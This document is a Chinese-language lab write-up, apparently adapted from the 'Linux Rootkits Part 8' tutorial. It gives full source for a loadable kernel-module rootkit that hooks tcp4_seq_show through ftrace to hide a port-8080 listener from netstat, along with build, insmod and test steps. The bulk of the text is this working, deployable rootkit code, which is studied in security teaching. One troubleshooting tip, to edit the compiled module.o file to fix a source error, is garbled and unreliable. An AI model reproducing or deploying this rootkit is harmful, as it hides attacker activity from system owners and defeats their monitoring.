参考:Linux Rootkits Part 8: Hiding Open Ports
实验原理
实验目的:当我们输入netstat -tlnp的时候隐藏tcp4连接中我们所指定端口的tcp4连接信息,netstat -tlnp命令表示以不显示别名的形式显示(n)与tcp相关(t)正处于监听状态(l)的服务信息,包括建立相关链接的程序名§
通过查看strace-e openat netstat-tunelp
的输出,我们可以知道netstat命令是通过读取文件系统下的/proc/net/tcp
和/proc/net/tcp6
获取当前连接信息;合理的猜测是TCP用于IPv4连接,而tcp6用于IPv6连接。这使得/proc/net/tcp
成为我们的目标,如果我们可以控制它,那么我们就可以控制netstat命令(和其他类似的程序)产生的输出从而隐藏连接信息
实验用到的三个文件
Makefile文件
通过Makefile来设置需要编译的内核模块,通过 make
命令来执行Makefile,执行后会生成.ko后缀的模块文件
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD)
ftrace_helper.h头文件
ftrace_helper.h是rootkit.c中需要使用的一个自定义的头文件,具体功能请看Linux Rootkits Part 2: Ftrace and Function Hooking
/*
* Helper library for ftrace hooking kernel functions
* Author: Harvey Phillips (xcellerator@gmx.com)
* License: GPL
* */
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define HOOK(_name, _hook, _orig) \
{ \
.name = (_name), \
.function = (_hook), \
.original = (_orig), \
}
/* We need to prevent recursive loops when hooking, otherwise the kernel will
* panic and hang. The options are to either detect recursion by looking at
* the function return address, or by jumping over the ftrace call. We use the
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
* setting it to 1. (Oridinarily ftrace provides it's own protections against
* recursion, but it relies on saving return registers in $rip. We will likely
* need the use of the $rip register in our hook, so we have to disable this
* protection and implement our own).
* */
#define USE_FENTRY_OFFSET 0
/* We pack all the information we need (name, hooking function, original function)
* into this struct. This makes is easier for setting up the hook and just passing
* the entire struct off to fh_install_hook() later on.
* */
struct ftrace_hook
{
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
/*
* 通过kallsyms_lookup_name查找到原来函数的地址,保存到hook中的address中
* */
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address)
{
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
// 不存在这样的目录
return -ENOENT;
}
#if USE_FENTRY_OFFSET
*((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long *)hook->original) = hook->address;
#endif
return 0;
}
/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
#if USE_FENTRY_OFFSET
regs->ip = (unsigned long)hook->function;
#else
if (!within_module(parent_ip, THIS_MODULE))
//定义一个和原函数参数一致的函数,并且插入到原函数原有调用点。
regs->ip = (unsigned long)hook->function;
#endif
}
/* Assuming we've already set hook->name, hook->function and hook->original, we
* can go ahead and install the hook with ftrace. This is done by setting the
* ops field of hook (see the comment below for more details), and then using
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
* provided by ftrace.h
* */
int fh_install_hook(struct ftrace_hook *hook)
{
int err;
//获取系统内核函数的地址
err = fh_resolve_hook_address(hook);
if (err)
return err;
/* For many of function hooks (especially non-trivial ones), the $rip
* register gets modified, so we have to alert ftrace to this fact. This
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
* the built-in anti-recursion guard provided by ftrace is useless if
* we're modifying $rip. This is why we have to implement our own checks
* (see USE_FENTRY_OFFSET). */
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION_SAFE | FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if (err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if (err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
return err;
}
return 0;
}
/* Disabling our function hook is just a simple matter of calling the built-in
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
* opposite order to that in fh_install_hook()).
* */
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if (err)
{
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if (err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
}
}
/* To make it easier to hook multiple functions in one module, this provides
* a simple loop over an array of ftrace_hook struct
* */
// 为了更轻松地在一个模块中挂接多个函数,在ftrace_hook结构数组上提供了一个简单的循环
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0; i < count; i++)
{
err = fh_install_hook(&hooks[i]);
if (err)
goto error;
}
return 0;
error:
while (i != 0)
{
fh_remove_hook(&hooks[--i]);
}
return err;
}
// 循环移除所有钩子函数
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0; i < count; i++)
fh_remove_hook(&hooks[i]);
}
rootkit.c文件
rootkit.c是我们用来实现系统调用的主要函数
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/tcp.h>
#include "ftrace_helper.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Hiding open ports");
MODULE_VERSION("0.01");
/* Function declaration for the original tcp4_seq_show() function that we
* are going to hook.
* */
//seq file序列文件使得内核对于大文件的读取更加容易
static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
/* This is our hook function for tcp4_seq_show */
// 如果端口号是8080则直接返回0,不调用系统自己的内核函数tcp4_seq_show
// 参数v被强制转换为一个新变量sk,作为SOCK结构。
// 它可以在include/net/sock.h中找到,这个特定的结构是“套接字的网络层表示”,
// 因此此结构中必然有一个包含侦听端口的字段
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
long ret;
struct sock *sk = v;
/* 0x1f90 = 8080 in hex */
/* 如果sk没有指向任何其他的东西,则默认指向0x1 */
if (sk != (struct sock *)0x1 && sk->sk_num == 0x1f90)
{
printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n");
return 0;
}
ret = orig_tcp4_seq_show(seq, v);
return ret;
}
/* We are going to use the fh_install_hooks() function from ftrace_helper.h
* in the module initialization function. This function takes an array of
* ftrace_hook structs, so we initialize it with what we want to hook
* HOOK是在ftrace_helper.h中定义的结构
* 第一个参数是钩子函数的名字
* 第二个参数是我们自己设置的新的内核函数
* 第三个参数是系统原来的内核函数
* */
static struct ftrace_hook hooks[] = {
HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show),
};
/* Module initialization function */
static int __init rootkit_init(void)
{
/* Simply call fh_install_hooks() with hooks (defined above) */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if (err)
return err;
printk(KERN_INFO "rootkit: Loaded >:-)\n");
return 0;
}
static void __exit rootkit_exit(void)
{
/* Simply call fh_remove_hooks() with hooks (defined above) */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
实验步骤
在终端中输入 nc -lvnp 8080
命令创建一个netcat监听器来监听8080端口,在另一个终端输入netstat -tlnp
查看当前tcp连接的端口信息,可以发现8080端口;
将Makefile、ftrace_helper.h、rootkit.c拷贝到同一目录下,输入 make
编译Makefile,之后输入insmod rootkit.ko
加载rootkit内核模块,再次输入 netstat -tlnp 查看tcp连接,发现8080端口消失了
通过rmmod rootkit
命令卸载内核模块后,又能发现8080端口
实验错误及注意
错误
‘proc_net’ undeclared (first use in this function)
To solve this problem open the module.o file and type init_net.proc_net instead of just proc_net
获得内核函数地址的四种方法 - sky-heaven - 博客园
cat /proc/kallsyms | grep <函数名称>
错误
sudo apt install make
是报如下错误
Package make is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source
解决办法: sudo apt-get update 然后再 sudo apt install make安装make,还需要安装 sudo apt install gcc
ubuntu16.04找不到tcp4_seq_ops函数,但是可以在ubuntu18.04版本里面找到
错误
/.cache.mk:79: warning: NUL character seen; rest of line ignored
删除./cache.mk文件